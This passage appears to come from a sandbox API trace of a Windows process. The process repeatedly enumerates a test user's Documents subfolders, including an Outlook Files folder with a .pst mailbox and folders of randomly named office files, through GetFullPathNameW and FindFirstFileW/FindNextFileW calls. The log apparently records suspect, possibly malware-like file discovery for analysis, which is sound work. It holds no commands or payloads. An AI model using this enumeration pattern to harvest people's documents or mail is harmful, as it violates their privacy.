nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0221.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0221.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0221.493] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Videos", lpFilePart=0x0) returned 0x29 [0221.493] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Videos\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\my videos\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0221.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0221.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0221.497] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Videos", lpFilePart=0x0) returned 0x29 [0221.497] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Videos\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\my videos\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0221.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0221.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0221.500] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\Ocwu9", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\Ocwu9", lpFilePart=0x0) returned 0x25 [0221.500] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\Ocwu9\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\ocwu9\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6a3ad30, ftCreationTime.dwHighDateTime=0x1d9979f, ftLastAccessTime.dwLowDateTime=0x36438ee0, ftLastAccessTime.dwHighDateTime=0x1d99cae, ftLastWriteTime.dwLowDateTime=0x36438ee0, ftLastWriteTime.dwHighDateTime=0x1d99cae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0221.501] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6a3ad30, ftCreationTime.dwHighDateTime=0x1d9979f, ftLastAccessTime.dwLowDateTime=0x36438ee0, ftLastAccessTime.dwHighDateTime=0x1d99cae, ftLastWriteTime.dwLowDateTime=0x36438ee0, ftLastWriteTime.dwHighDateTime=0x1d99cae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.501] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f732a0, ftCreationTime.dwHighDateTime=0x1d99524, ftLastAccessTime.dwLowDateTime=0x97efa4f0, ftLastAccessTime.dwHighDateTime=0x1d99608, ftLastWriteTime.dwLowDateTime=0x97efa4f0, ftLastWriteTime.dwHighDateTime=0x1d99608, nFileSizeHigh=0x0, nFileSizeLow=0x162a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="1qJdDHrVpsCVahQj27Ed.ods", cAlternateFileName="1QJDDH~1.ODS")) returned 1 [0221.501] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b7e060, ftCreationTime.dwHighDateTime=0x1d99bd6, ftLastAccessTime.dwLowDateTime=0x6014ddb0, ftLastAccessTime.dwHighDateTime=0x1d99cee, ftLastWriteTime.dwLowDateTime=0x6014ddb0, ftLastWriteTime.dwHighDateTime=0x1d99cee, nFileSizeHigh=0x0, nFileSizeLow=0x5276, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt6qtW.odp", cAlternateFileName="")) returned 1 [0221.501] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.502] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0221.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0221.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0221.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0221.502] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\Ocwu9", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\Ocwu9", lpFilePart=0x0) returned 0x25 [0221.502] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\Ocwu9\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\ocwu9\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6a3ad30, ftCreationTime.dwHighDateTime=0x1d9979f, ftLastAccessTime.dwLowDateTime=0x36438ee0, ftLastAccessTime.dwHighDateTime=0x1d99cae, ftLastWriteTime.dwLowDateTime=0x36438ee0, ftLastWriteTime.dwHighDateTime=0x1d99cae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0221.502] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6a3ad30, ftCreationTime.dwHighDateTime=0x1d9979f, ftLastAccessTime.dwLowDateTime=0x36438ee0, ftLastAccessTime.dwHighDateTime=0x1d99cae, ftLastWriteTime.dwLowDateTime=0x36438ee0, ftLastWriteTime.dwHighDateTime=0x1d99cae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.503] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f732a0, ftCreationTime.dwHighDateTime=0x1d99524, ftLastAccessTime.dwLowDateTime=0x97efa4f0, ftLastAccessTime.dwHighDateTime=0x1d99608, ftLastWriteTime.dwLowDateTime=0x97efa4f0, ftLastWriteTime.dwHighDateTime=0x1d99608, nFileSizeHigh=0x0, nFileSizeLow=0x162a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="1qJdDHrVpsCVahQj27Ed.ods", cAlternateFileName="1QJDDH~1.ODS")) returned 1 [0221.503] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b7e060, ftCreationTime.dwHighDateTime=0x1d99bd6, ftLastAccessTime.dwLowDateTime=0x6014ddb0, ftLastAccessTime.dwHighDateTime=0x1d99cee, ftLastWriteTime.dwLowDateTime=0x6014ddb0, ftLastWriteTime.dwHighDateTime=0x1d99cee, nFileSizeHigh=0x0, nFileSizeLow=0x5276, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt6qtW.odp", cAlternateFileName="")) returned 1 [0221.503] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b7e060, ftCreationTime.dwHighDateTime=0x1d99bd6, ftLastAccessTime.dwLowDateTime=0x6014ddb0, ftLastAccessTime.dwHighDateTime=0x1d99cee, ftLastWriteTime.dwLowDateTime=0x6014ddb0, ftLastWriteTime.dwHighDateTime=0x1d99cee, nFileSizeHigh=0x0, nFileSizeLow=0x5276, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt6qtW.odp", cAlternateFileName="")) returned 0 [0221.503] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0221.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0221.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0221.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0221.504] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x2d [0221.504] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\Outlook Files\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\outlook files\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63954f0d, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x839084fb, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x886727b4, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.504] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63954f0d, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x839084fb, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x886727b4, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.505] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6397affd, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x6397affd, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x8866b39a, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="achoo@gdllo.de.pst", cAlternateFileName="ACHOO@~1.PST")) returned 1 [0221.505] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.505] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0221.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0221.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0221.505] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x2d [0221.505] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\Outlook Files\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\outlook files\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63954f0d, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x839084fb, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x886727b4, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0221.506] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63954f0d, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x839084fb, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x886727b4, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.506] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6397affd, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x6397affd, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x8866b39a, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="achoo@gdllo.de.pst", cAlternateFileName="ACHOO@~1.PST")) returned 1 [0221.506] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6397affd, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x6397affd, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x8866b39a, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="achoo@gdllo.de.pst", cAlternateFileName="ACHOO@~1.PST")) returned 0 [0221.506] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0221.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0221.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0221.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0221.507] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2", lpFilePart=0x0) returned 0x27 [0221.507] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\tcijjb2\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd768e3e0, ftCreationTime.dwHighDateTime=0x1d99071, ftLastAccessTime.dwLowDateTime=0x23c21cc0, ftLastAccessTime.dwHighDateTime=0x1d99bda, ftLastWriteTime.dwLowDateTime=0x23c21cc0, ftLastWriteTime.dwHighDateTime=0x1d99bda, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.507] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd768e3e0, ftCreationTime.dwHighDateTime=0x1d99071, ftLastAccessTime.dwLowDateTime=0x23c21cc0, ftLastAccessTime.dwHighDateTime=0x1d99bda, ftLastWriteTime.dwLowDateTime=0x23c21cc0, ftLastWriteTime.dwHighDateTime=0x1d99bda, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.508] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3d8840, ftCreationTime.dwHighDateTime=0x1d98cce, ftLastAccessTime.dwLowDateTime=0x76fbd3f0, ftLastAccessTime.dwHighDateTime=0x1d98fb8, ftLastWriteTime.dwLowDateTime=0x76fbd3f0, ftLastWriteTime.dwHighDateTime=0x1d98fb8, nFileSizeHigh=0x0, nFileSizeLow=0xa656, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACpstst.ppt", cAlternateFileName="")) returned 1 [0221.508] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cd7c0e0, ftCreationTime.dwHighDateTime=0x1d991da, ftLastAccessTime.dwLowDateTime=0xea3df620, ftLastAccessTime.dwHighDateTime=0x1d99799, ftLastWriteTime.dwLowDateTime=0xea3df620, ftLastWriteTime.dwHighDateTime=0x1d99799, nFileSizeHigh=0x0, nFileSizeLow=0xc858, dwReserved0=0x0, dwReserved1=0x0, cFileName="JQNIiEojgsVAt.pptx", cAlternateFileName="JQNIIE~1.PPT")) returned 1 [0221.508] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe621490, ftCreationTime.dwHighDateTime=0x1d99a6a, ftLastAccessTime.dwLowDateTime=0x974caaa0, ftLastAccessTime.dwHighDateTime=0x1d99d0d, ftLastWriteTime.dwLowDateTime=0x974caaa0, ftLastWriteTime.dwHighDateTime=0x1d99d0d, nFileSizeHigh=0x0, nFileSizeLow=0x125fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kn--K5SCo1ht_zG ZjC9.pps", cAlternateFileName="KN--K5~1.PPS")) returned 1 [0221.508] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x354049f0, ftCreationTime.dwHighDateTime=0x1d9901c, ftLastAccessTime.dwLowDateTime=0xb3ebb680, ftLastAccessTime.dwHighDateTime=0x1d997e3, ftLastWriteTime.dwLowDateTime=0xb3ebb680, ftLastWriteTime.dwHighDateTime=0x1d997e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LRuwSurnerX0", cAlternateFileName="LRUWSU~1")) returned 1 [0221.508] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53c47110, ftCreationTime.dwHighDateTime=0x1d999ba, ftLastAccessTime.dwLowDateTime=0x397c8f50, ftLastAccessTime.dwHighDateTime=0x1d99be9, ftLastWriteTime.dwLowDateTime=0x397c8f50, ftLastWriteTime.dwHighDateTime=0x1d99be9, nFileSizeHigh=0x0, nFileSizeLow=0x101de, dwReserved0=0x0, dwReserved1=0x0, cFileName="NP6cI4xKffTL4riqrli.rtf", cAlternateFileName="NP6CI4~1.RTF")) returned 1 [0221.509] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb422520, ftCreationTime.dwHighDateTime=0x1d991df, ftLastAccessTime.dwLowDateTime=0x71821e50, ftLastAccessTime.dwHighDateTime=0x1d9963b, ftLastWriteTime.dwLowDateTime=0x71821e50, ftLastWriteTime.dwHighDateTime=0x1d9963b, nFileSizeHigh=0x0, nFileSizeLow=0x155fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PqufyRW2N.ots", cAlternateFileName="PQUFYR~1.OTS")) returned 1 [0221.509] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9567e0, ftCreationTime.dwHighDateTime=0x1d99bc9, ftLastAccessTime.dwLowDateTime=0x7b059df0, ftLastAccessTime.dwHighDateTime=0x1d99c51, ftLastWriteTime.dwLowDateTime=0x7b059df0, ftLastWriteTime.dwHighDateTime=0x1d99c51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="s2g8-azJNisE", cAlternateFileName="S2G8-A~1")) returned 1 [0221.509] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9567e0, ftCreationTime.dwHighDateTime=0x1d99bc9, ftLastAccessTime.dwLowDateTime=0x7b059df0, ftLastAccessTime.dwHighDateTime=0x1d99c51, ftLastWriteTime.dwLowDateTime=0x7b059df0, ftLastWriteTime.dwHighDateTime=0x1d99c51, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="s2g8-azJNisE", cAlternateFileName="S2G8-A~1")) returned 0 [0221.509] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0221.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0221.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0221.510] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2", lpFilePart=0x0) returned 0x27 [0221.510] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\tCIJJB2\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\tcijjb2\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd768e3e0, ftCreationTime.dwHighDateTime=0x1d99071, ftLastAccessTime.dwLowDateTime=0x23c21cc0, ftLastAccessTime.dwHighDateTime=0x1d99bda, ftLastWriteTime.dwLowDateTime=0x23c21cc0, ftLastWriteTime.dwHighDateTime=0x1d99bda, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0221.510] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd768e3e0, ftCreationTime.dwHighDateTime=0x1d99071, ftLastAccessTime.dwLowDateTime=0x23c21cc0, ftLastAccessTime.dwHighDateTime=0x1d99bda, ftLastWriteTime.dwLowDateTime=0x23c21cc0, ftLastWriteTime.dwHighDateTime=0x1d99bda, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.510] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3d8840, ftCreationTime.dwHighDateTime=0x1d98cce, ftLastAccessTime.dwLowDateTime=0x76fbd3f0, ftLastAccessTime.dwHighDateTime=0x1d98fb8, ftLastWriteTime.dwLowDateTime=0x76fbd3f0, ftLastWriteTime.dwHighDateTime=0x1d98fb8, nFileSizeHigh=0x0, nFileSizeLow=0xa656, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACpstst.ppt", cAlternateFileName="")) returned 1 [0221.511] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cd7c0e0, ftCreationTime.dwHighDateTime=0x1d991da, ftLastAccessTime.dwLowDateTime=0xea3df620, ftLastAccessTime.dwHighDateTime=0x1d99799, ftLastWriteTime.dwLowDateTime=0xea3df620, ftLastWriteTime.dwHighDateTime=0x1d99799, nFileSizeHigh=0x0, nFileSizeLow=0xc858, dwReserved0=0x0, dwReserved1=0x0, cFileName="JQNIiEojgsVAt.pptx", cAlternateFileName="JQNIIE~1.PPT")) returned 1 [0221.511] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe621490, ftCreationTime.dwHighDateTime=0x1d99a6a, ftLastAccessTime.dwLowDateTime=0x974caaa0, ftLastAccessTime.dwHighDateTime=0x1d99d0d, ftLastWriteTime.dwLowDateTime=0x974caaa0, ftLastWriteTime.dwHighDateTime=0x1d99d0d, nFileSizeHigh=0x0, nFileSizeLow=0x125fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kn--K5SCo1ht_zG ZjC9.pps", cAlternateFileName="KN--K5~1.PPS")) returned 1 [0221.511] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x354049f0, ftCreationTime.dwHighDateTime=0x1d9901c, ftLastAccessTime.dwLowDateTime=0xb3ebb680, ftLastAccessTime.dwHighDateTime=0x1d997e3, ftLastWriteTime.dwLowDateTime=0xb3ebb680, ftLastWriteTime.dwHighDateTime=0x1d997e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LRuwSurnerX0", cAlternateFileName="LRUWSU~1")) returned 1 [0221.511] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53c47110, ftCreationTime.dwHighDateTime=0x1d999ba, ftLastAccessTime.dwLowDateTime=0x397c8f50, ftLastAccessTime.dwHighDateTime=0x1d99be9, 